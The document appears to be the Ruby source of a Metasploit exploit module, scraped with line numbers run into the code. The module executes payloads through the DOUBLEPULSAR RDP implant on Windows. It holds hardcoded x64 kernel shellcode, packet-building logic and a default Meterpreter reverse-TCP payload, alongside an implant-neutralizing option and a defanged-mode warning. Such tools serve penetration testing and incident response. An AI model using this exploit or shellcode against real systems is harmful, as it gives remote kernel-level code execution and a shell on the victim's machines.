Path: blob/master/modules/exploits/windows/rdp/rdp_doublepulsar_rce.rb
21666 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = GreatRanking89include Msf::Exploit::Remote::RDP1011MAX_SHELLCODE_SIZE = 40961213def initialize(info = {})14super(15update_info(16info,17'Name' => 'RDP DOUBLEPULSAR Remote Code Execution',18'Description' => %q{19This module executes a Metasploit payload against the Equation Group's20DOUBLEPULSAR implant for RDP.2122While this module primarily performs code execution against the implant,23the "Neutralize implant" target allows you to disable the implant.24},25'Author' => [26'Equation Group', # DOUBLEPULSAR implant27'Shadow Brokers', # Equation Group dump28'Luke Jennings', # DOPU analysis and detection29'wvu', # RDP DOPU analysis and module30'Tom Sellers', # RDP DOPU analysis31'Spencer McIntyre' # RDP DOPU analysis32],33'References' => [34['URL', 'https://github.com/countercept/doublepulsar-detection-script']35],36'DisclosureDate' => '2017-04-14', # Shadow Brokers leak37'License' => MSF_LICENSE,38'Platform' => 'win',39'Arch' => ARCH_X64,40'Privileged' => true,41'Payload' => {42'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,43'DisableNops' => true44},45'Targets' => [46[47'Execute payload (x64)',48'DefaultOptions' => {49'EXITFUNC' => 'thread',50'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'51}52],53[54'Neutralize implant',55'DefaultOptions' => {56'PAYLOAD' => nil # XXX: "Unset" generic payload57}58]59],60'DefaultTarget' => 0,61'Notes' => {62'AKA' => ['DOUBLEPULSAR'],63'RelatedModules' => ['exploit/windows/smb/smb_doublepulsar_rce'],64'Stability' => [CRASH_OS_DOWN],65'Reliability' => [REPEATABLE_SESSION],66'SideEffects' => []67}68)69)7071register_advanced_options([72OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),73OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])74])75end7677OPCODES = {78exec: 0x01,79ping: 0x02,80burn: 0x0381}.freeze8283DOUBLEPULSAR_MAGIC = 0x192837448485# https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw86def parse_doublepulsar_ping(res)87return unless res && res.length == 2888889magic, _size, major, minor, build = res.unpack('V5')90sp_major, _sp_minor, _suites, prod, arch = res[-8..-1].unpack('v3C2')9192return unless magic == DOUBLEPULSAR_MAGIC9394ver_str = "#{major}.#{minor}.#{build}"95sp_str = "SP#{sp_major}"9697prod_str =98case prod99when 1100'Workstation'101when 2102'Domain Controller'103when 3104'Server'105end106107arch_str =108case arch109when 1110'x86'111when 2112'x64'113end114115"Windows #{prod_str} #{ver_str} #{sp_str} #{arch_str}"116end117118def setup119super120121rdp_connect122is_rdp, server_selected_protocol = rdp_check_protocol123124fail_with(Failure::BadConfig, 'Target port is not RDP') unless is_rdp125126case server_selected_protocol127when RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX128fail_with(Failure::BadConfig, 'DOUBLEPULSAR does not support NLA')129when RDPConstants::PROTOCOL_SSL130vprint_status('Swapping plain socket to SSL')131swap_sock_plain_to_ssl132end133rescue Rex::ConnectionError, RdpCommunicationError => e134fail_with(Failure::Disconnected, e.message)135end136137def cleanup138rdp_disconnect139140super141end142143def check144print_status('Sending ping to DOUBLEPULSAR')145res = do_rdp_doublepulsar_pkt(OPCODES[:ping])146147unless (info = parse_doublepulsar_ping(res))148print_error('DOUBLEPULSAR not detected or disabled')149return CheckCode::Safe150end151152print_warning('DOUBLEPULSAR RDP IMPLANT DETECTED!!!')153print_good("Target is #{info}")154CheckCode::Vulnerable155end156157def exploit158if datastore['DefangedMode']159warning = <<~EOF160161162Are you SURE you want to execute code against a nation-state implant?163You MAY contaminate forensic evidence if there is an investigation.164165Disable the DefangedMode option if you have authorization to proceed.166EOF167168fail_with(Failure::BadConfig, warning)169end170171# No ForceExploit because check is accurate172unless check == CheckCode::Vulnerable173fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')174end175176case target.name177when 'Execute payload (x64)'178print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")179shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])180shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)181vprint_status("Total shellcode length: #{shellcode.length} bytes")182183print_status('Sending shellcode to DOUBLEPULSAR')184res = do_rdp_doublepulsar_pkt(OPCODES[:exec], shellcode)185when 'Neutralize implant'186return neutralize_implant187end188189if res190fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')191end192193print_good('Payload execution successful')194end195196def neutralize_implant197print_status('Neutralizing DOUBLEPULSAR')198res = do_rdp_doublepulsar_pkt(OPCODES[:burn])199200if res201fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')202end203204print_good('Implant neutralization successful')205end206207def do_rdp_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)208rdp_send_recv(make_rdp_mcs_doublepulsar(opcode, body))209rescue Errno::ECONNRESET, RdpCommunicationError210nil211end212213=begin214MULTIPOINT-COMMUNICATION-SERVICE T.125215DomainMCSPDU: channelJoinConfirm (15)216channelJoinConfirm217result: rt-domain-not-hierarchical (2)218initiator: 14120219requested: 6402220=end221def make_rdp_mcs_doublepulsar(opcode, body)222data = "\x3c" # channelJoinConfirm223data << [DOUBLEPULSAR_MAGIC].pack('V')224data << [opcode].pack('v')225226if body227data << [body.length, body.length, 0].pack('V*')228data << body229end230231build_data_tpdu(data)232end233234# ring3 = user mode encoded payload235# proc_name = process to inject APC into236def make_kernel_user_payload(ring3, proc_name)237sc = make_kernel_shellcode(proc_name)238239sc << [ring3.length].pack('S<')240sc << ring3241242sc243end244245def generate_process_hash(process)246# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm247proc_hash = 0248process << "\x00"249250process.each_byte do |c|251proc_hash = ror(proc_hash, 13)252proc_hash += c253end254255[proc_hash].pack('l<')256end257258def ror(dword, bits)259(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF260end261262def make_kernel_shellcode(proc_name)263# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm264# Length: 780 bytes265"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \266"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \267"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \268"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \269"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \270"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \271"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \272"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \273"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \274"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \275"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \276"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \277"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +278generate_process_hash(proc_name.upcase) +279"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \280"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \281"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \282"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \283"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \284"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \285"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \286"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \287"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \288"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \289"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \290"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \291"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \292"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \293"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \294"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \295"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \296"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \297"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \298"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \299"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \300"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \301"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \302"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \303"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \304"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \305"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \306"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \307"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \308"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \309"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \310"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \311"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \312"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \313"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \314"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"315end316317def kernel_shellcode_size318make_kernel_shellcode('').length319end320321end322323324